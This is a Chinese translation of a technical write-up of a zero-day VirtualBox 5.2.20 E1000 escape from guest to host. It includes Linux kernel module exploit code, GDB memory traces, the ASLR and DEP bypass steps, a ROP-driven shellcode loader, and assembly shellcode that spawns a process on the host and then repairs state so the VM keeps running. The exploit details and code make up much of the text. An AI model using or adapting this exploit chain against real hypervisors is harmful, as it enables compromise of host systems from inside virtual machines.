导语:近日,俄罗斯安全研究人员Sergey Zelenyuk发布了有关VirtualBox 5.2.20及早期版本的零日漏洞的详细信息,这些版本可以让攻击者逃离虚拟机并在主机上执行 RING 3层的代码。然后,攻击者可以利用传统的攻击技术将权限提升至 RING 0层。
近日,俄罗斯安全研究人员Sergey Zelenyuk发布了有关VirtualBox 5.2.20及早期版本的零日漏洞的详细信息,这些版本可以让攻击者逃离虚拟机并在主机上执行 RING 3层的代码。然后,攻击者可以利用传统的攻击技术将权限提升至 RING 0层。
漏洞利用
该漏洞利用Linux内核模块(LKM)加载到客户虚拟机操作系统中。如果虚拟机操作系统是Windows则只需要一个与LKM不同的驱动程序,这个驱动程序是初始化包装器和内核API调用所需要的。
在两个操作系统中加载驱动程序都需要提升权限。利用提权很普遍,所以不被认为是一个不可逾越的障碍。看看研究人员在Pwn2Own竞赛中使用的漏洞利用链:在客户虚拟机操作系统中的浏览器打开一个恶意网站来利用漏洞,一个浏览器沙箱逃逸可以获得完整的RING3访问权限,在你需要从虚拟机操作系统攻击虚拟机管理程序的地方,你利用操作系统的漏洞可以将权限提升至RING0。威力最强大的虚拟机管理程序漏洞肯定是那些可以从客户虚拟机RING3中利用的漏洞。在VirtualBox中也有这样的代码,可以在没有虚拟机root权限的情况下执行,而且大部分代码都没有被审计过。
这个漏洞利用的成功率是100%。这就意味着它要么总是可以成功,要么永远不会因为不匹配的二进制文件或其他没有考虑到的更微妙的原因而导致利用失败。至少在Ubuntu 16.04和18.04 x86_64 的虚拟机上使用默认配置的情况下利用是成功的。
开发漏洞利用程序
1.攻击者卸载在Linux客户虚拟机中默认加载的e1000.ko并加载漏洞利用程序的LKM。
2.LKM根据数据表初始化E1000。由于不需要接收另外一半,因此仅初始化发送一半。
3.第1步:信息泄露。
· a.LKM禁用E1000环回模式,使堆栈缓冲区溢出代码不可达。
· b.LKM使用整数下溢漏洞使堆缓冲区溢出。
· c.堆缓冲区溢出导致攻击者可以使用E1000 EEPROM在相对于堆缓冲区128 KB的范围内写入两个任意字节。因此攻击者获得了写原语。
· d.LKM使用写原语八次,将字节写入堆上的ACPI(高级配置和电源接口)数据结构。字节被写入堆缓冲区的索引变量,从中读取单个字节。由于缓冲区大小小于最大索引号(255),所以攻击者可以读取缓冲区,因此最终攻击者获得了读原语。
· e.LKM使用读原语八次,访问ACPI并从堆中获取8个字节。这些字节是VBoxDD.so共享库的指针。
· f.LKM从指针中减去RVA获得VBoxDD.so镜像基址。
4.第2步:堆栈缓冲区溢出。
· a.LKM启用E1000环回模式,使堆栈缓冲区溢出代码可达。
· b.LKM使用整数下溢漏洞使堆缓冲区溢出以及栈缓冲区溢出。保存的返回地址(RIP / EIP)将被覆盖。攻击者获得了控制权。
· c.执行ROP链来执行shellcode加载程序。
5第3步:shellcode。
· a.shellcode加载器从相邻的栈中复制shellcode。shellcode被执行。
· b.shellcode执行fork和execve系统调用在主机端生成任意进程。
· c.父进程继续运行进程。
6.攻击者卸载LKM并加载e1000.ko允许虚拟机使用网络。
初始化
LKM映射了有关于E1000 MMIO的物理内存。物理地址和大小由管理程序预定义。
void* map_mmio(void) { off_t pa = 0xF0000000; size_t len = 0x20000; void* va = ioremap(pa, len); if (!va) { printk(KERN_INFO PFX"ioremap failed to map MMIO\n"); return NULL; } return va; }
然后配置E1000通用寄存器,分配Tx Ring存储器,配置发送寄存器。
void e1000_init(void* mmio) { // Configure general purpose registers configure_CTRL(mmio); // Configure TX registers g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL); if (!g_tx_ring) { printk(KERN_INFO PFX"Failed to allocate TX Ring\n"); return; } configure_TDBAL(mmio); configure_TDBAH(mmio); configure_TDLEN(mmio); configure_TCTL(mmio); }
ASLR绕过
写原语
从漏洞利用程序的开发开始,我决定不使用默认情况下禁用的服务中的原语。首先要说的就是提供3D加速的Chromium服务(不是浏览器),去年研究人员发现了40多个漏洞。
现在的问题是在默认的VirtualBox子系统中发现信息泄漏。显而易见的想法是,如果整数下溢允许溢出堆缓冲区,那么我们就可以控制任何超过缓冲区的内容。接下来我们将看到我们并不需要一个额外的漏洞:整数下溢似乎非常强大,我们可以从中获取读取,写入和信息泄漏的原语,这里不是在堆栈缓冲区溢出。
让我们来看看堆上究竟是什么样的溢出。
/** * Device state structure. */struct E1kState_st { ... uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE]; ... E1kEEPROM eeprom; ... }
这里aTxPacketFallback是一个大小为0x3FA0的缓冲区,它将溢出从数据描述符复制的字节。在缓冲区之后搜索有趣的字段我找到了E1kEEPROM结构,其中包含了具有以下字段的另一个结构(src/VBox/Devices/Network/DevE1000.cpp):
/** * 93C46-compatible EEPROM device emulation. */struct EEPROM93C46 { ... bool m_fWriteEnabled; uint8_t Alignment1; uint16_t m_u16Word; uint16_t m_u16Mask; uint16_t m_u16Addr; uint32_t m_u32InternalWires; ... }
我们怎么能才能滥用它们呢?E1000实现了EEPROM,这是一个辅助适配器存储器。客户虚拟机操作系统可以通过E1000 MMIO寄存器访问它。EEPROM实现了具有多个状态的有限自动机,并执行四个动作。我们只对“写入内存”感兴趣。相关代码如下(src/VBox/Devices/Network/DevEEPROM.cpp):
EEPROM93C46::State EEPROM93C46::opWrite() { storeWord(m_u16Addr, m_u16Word); return WAITING_CS_FALL; }void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value) { if (m_fWriteEnabled) { E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr)); m_au16Data[u32Addr] = u16Value; } m_u16Mask = DATA_MSB; }
这里的 m_u16Addr,m_u16Word和m_fWriteEnabled是我们控制的EEPROM93C46结构的字段。我们可以通过某种方式使它们变形
m_au16Data[u32Addr] = u16Value;
语句将在m_au16Data的任意16位偏移处写入两个字节,该偏移也属于EEPROM93C46结构。之后我们就找到了一个写原语。
读原语
接下来的问题是在堆上找到数据结构以写入任意数据,主要目标是泄漏一个共享库指针来获取其镜像基址。希望不需要进行不稳定的堆喷射,因为虚拟设备的主要数据结构似乎是从内部虚拟机管理程序堆中分配的,它们之间的距离始终是恒定的,尽管它们的虚拟地址是由ASLR随机化产生的。
启动虚拟机时,PDM(可插入设备和驱动程序管理器)子系统在虚拟机管理程序堆中分配PDMDEVINS对象。
int pdmR3DevInit(PVM pVM) { ... PPDMDEVINS pDevIns; if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0)) rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns); else rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns); ...
我使用脚本在GDB下跟踪该代码并得到以下结果:
[trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8 [trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8 ... [trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0 [trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848 [trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728 [trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570 [trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90 [trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30
注意E1000设备在#0xE位置。在第二个列表中可以看到,紧邻的设备与E1000的偏移量为0x5700,下一个设备为0x19E0,依此类推。我们已经说过这些距离总是一样的,这给了我们触发漏洞的机会。
E1000之后的设备是ICH IC'97,OHCI,ACPI,VirtualBox GIM。在了解了他们的数据结构后我想到了使用写原语的方法。
在虚拟机启动时,将创建ACPI设备(src/VBox/Devices/PC/DevACPI.cpp):
typedef struct ACPIState { ... uint8_t au8SMBusBlkDat[32]; uint8_t u8SMBusBlkIdx; uint32_t uPmTimeOld; uint32_t uPmTimeA; uint32_t uPmTimeB; uint32_t Alignment5; } ACPIState;
ACPI端口输入/输出处理程序注册地址为0x4100-0x410F范围。在0x4107端口的情况下,我们有:
PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...
当客户虚拟机操作系统执行INB(0x4107)指令从端口读取一个字节时,处理程序从u8SMBusBlkIdx索引处的au8SMBusBlkDat [32]数组中获取一个字节并将其返回给客户虚拟机。这就是应用写原语的方法:由于虚拟设备堆块之间的距离是恒定的,所以从EEPROM93C46.m_au16Data数组到ACPIState.u8SMBusBlkIdx的距离也是恒定的。将两个字节写入ACPIState.u8SMBusBlkIdx,我们可以从ACPIState.au8SMBusBlkDat中读取255个字节范围内的任意数据。
这里有一个问题。看一下ACPIState结构,可以看出数组放在结构的末尾。其余的字段对泄漏没什么用。那么让我们看一下在结构后面可以找到的东西:
gef➤ x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1 0x7fc47008d4e0: 0xffffe98100000090 0xfffd9b2000000000 0x7fc47008d4f0: 0x00007fc470067a00 0x00007fc470067a00 0x7fc47008d500: 0x00000000a0028a00 0x00000000000e0000 0x7fc47008d510: 0x00000000000e0fff 0x0000000000001000 0x7fc47008d520: 0x000000ff00000002 0x0000100000000000 0x7fc47008d530: 0x00007fc47008c358 0x00007fc44d6ecdc6 0x7fc47008d540: 0x0031000035944000 0x00000000000002b8 0x7fc47008d550: 0x00280001d3878000 0x0000000000000000 gef➤ x/s 0x00007fc44d6ecdc6 0x7fc44d6ecdc6: "ACPI RSDP" gef➤ vmmap VBoxDD.so Start End Offset Perm Path 0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so 0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so 0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so 0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so gef➤ p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000 $2 = 0x1f9dc6
似乎有一个指向字符串的指针,该字符串位于VBoxDD.so镜像库的固定偏移处。指针位于ACPIState末尾的0x58偏移处。我们可以使用原语逐字节地读取该指针,最后获得VBoxDD.so镜像库基址。我们只希望通过ACPIState结构的数据在虚拟机每次启动时都不是随机的。希望0x58偏移处的指针始终不变。
信息泄漏
现在我们将写入和读取原语结合起来并利用它们来绕过ASLR。我们将溢出堆来覆盖EEPROM93C46结构,然后触发EEPROM有限自动机将索引写入ACPIState结构,然后在客户虚拟机中执行INB(0x4107)来访问ACPI读取指针的一个字节。重复这个步骤八次,索引将递增1。
uint64_t stage_1_main(void* mmio, void* tx_ring) { printk(KERN_INFO PFX"##### Stage 1 #####\n"); //当启用环回模式时,每个Tx数据描述符的数据(实际上是网络数据包) //被发送回 客户虚拟机 并立即通过e1kHandleRxPacket进行处理。 //禁用环回模式时,数据会照常发送到网络。 //我们在第1阶段禁用环回模式,在e1kHandleRxPacket函数中溢出堆但没有接触栈缓冲区。 //在第2阶段,我们启用了环回模式,并溢出了堆和栈缓冲区。 e1000_disable_loopback_mode(mmio); uint8_t leaked_bytes[8]; uint32_t i; for (i = 0; i < 8; i++) { stage_1_overflow_heap_buffer(mmio, tx_ring, i); leaked_bytes[i] = stage_1_leak_byte(); printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]); } uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes; uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA; printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr); printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base); return vboxdd_base; }
之前说过为了使整数下溢不导致堆栈缓冲区溢出,应该配置某些E1000寄存器。这个想法是缓冲区在e1kHandleRxPacket函数中溢出,并且该函数在环回模式下处理Tx描述符时被调用。实际上,在环回模式下,客户虚拟机会将网络数据包发送给自身,目的是在发送后立即接收到它们。我们禁用了此模式,因此无法访问e1kHandleRxPacket。
DEP绕过
我们绕过了ASLR。现在可以启用环回模式,并且可以触发堆栈缓冲区溢出。
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) { off_t buffer_pa; void* buffer_va; alloc_buffer(&buffer_pa, &buffer_va); stage_2_set_up_buffer(buffer_va, vboxdd_base); stage_2_trigger_overflow(mmio, tx_ring, buffer_pa); free_buffer(buffer_va); } void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) { printk(KERN_INFO PFX"##### Stage 2 #####\n"); e1000_enable_loopback_mode(mmio); stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base); e1000_disable_loopback_mode(mmio); }
现在,当执行e1kHandleRxPacket的最后一条指令时,保存的返回地址会被覆盖,控制权可以转移到攻击者想要的任何地方。但DEP仍在起保护作用。可以用传统的方式构建ROP链来绕过ROP。ROP分配可执行内存,将shellcode加载器复制到其中并执行shellcode。
编写Shellcode
shellcode加载器很简单。它复制紧挨着的要溢出的缓冲区的开头。
use64 start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop payload: ; Here the shellcode is to be loader_size = $ - start
要执行的shellcode的第一部分是:
use64 start: ; sys_fork mov rax, 58 syscall test rax, rax jnz continue_process_execution ; Initialize argv lea rsi, [cmd] mov [argv], rsi ; Initialize envp lea rsi, [env] mov [envp], rsi ; sys_execve lea rdi, [cmd] lea rsi, [argv] lea rdx, [envp] mov rax, 59 syscall ... cmd db '/usr/bin/xterm', 0 env db 'DISPLAY=:0.0', 0 argv dq 0, 0 envp dq 0, 0
shellcode执行fork和execve来创建/usr/bin/xterm进程。攻击者获得对宿主机RING3的控制权。
虚拟机进程持续运行
我相信每个Exp都应该完全完成开发和利用。也就是说Exp不应该让应用程序崩溃,当然,这并不总是完美的。我们需要让虚拟机进程继续执行,这是由shellcode的第二部分实现的。
continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48 ; Skip junk add rsp, 0x10 ; Restore the registers that must be preserved according to System V ABI pop rbx pop r12 pop r13 pop r14 pop r15 ; Skip junk add rsp, 0x8 ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown ; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL ; After: "E1000-Xmit" -> NULL ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv" ; This was unnecessary on my testing machines but to be sure... mov rdi, [rbx] mov rax, 0x0 mov rcx, 0xA0 rep stosb ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit" ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") ; will be corrupted in MMHyperFree mov qword [rbx], 0x0 ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted ret
当调用e1kHandleRxPacket时,调用堆栈如下:
#0 e1kHandleRxPacket #1 e1kTransmitFrame #2 e1kXmitDesc #3 e1kXmitPacket #4 e1kXmitPending #5 e1kR3NetworkDown_XmitPending ...
我们将直接跳到e1kR3NetworkDown_XmitPending,这个函数不再做任何事情并返回到虚拟机管理程序功能。
static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /*fOnWorkerThread*/); }
shellcode将RB48添加到RBP,使其成为e1kR3NetworkDown_XmitPending中的值。接下来,寄存器RBX,R12,R13,R14,R15取自堆栈,因为System V ABI需要将其保存在被调用的函数中。如果没有保存的话,虚拟机管理程序将因为其中的无效指针而崩溃。
做了这些事情后可能就足够了,因为虚拟机进程不再崩溃并继续执行。但是当VM关闭时,PDMR3QueueDestroyDevice函数中存在访问冲突。原因是当堆溢出时,重写的结构PDMQUEUE会被覆盖。此外,它会被最后两个ROP覆盖,即最后16个字节。我试图减少ROP链的大小但以失败告终,但是当我手动替换数据时,虚拟机管理程序仍然崩溃。如此看来,这个问题并不像看起来那么明显。
被覆盖的数据结构是一个链表。要覆盖的数据位于最后一个列表元素中; 下一个指针将被覆盖。最后的结果很简单:
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown ; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL ; After: "E1000-Xmit" -> NULL
将最后两个元素的值设为NULL就可以使虚拟机顺利关闭。
演示视频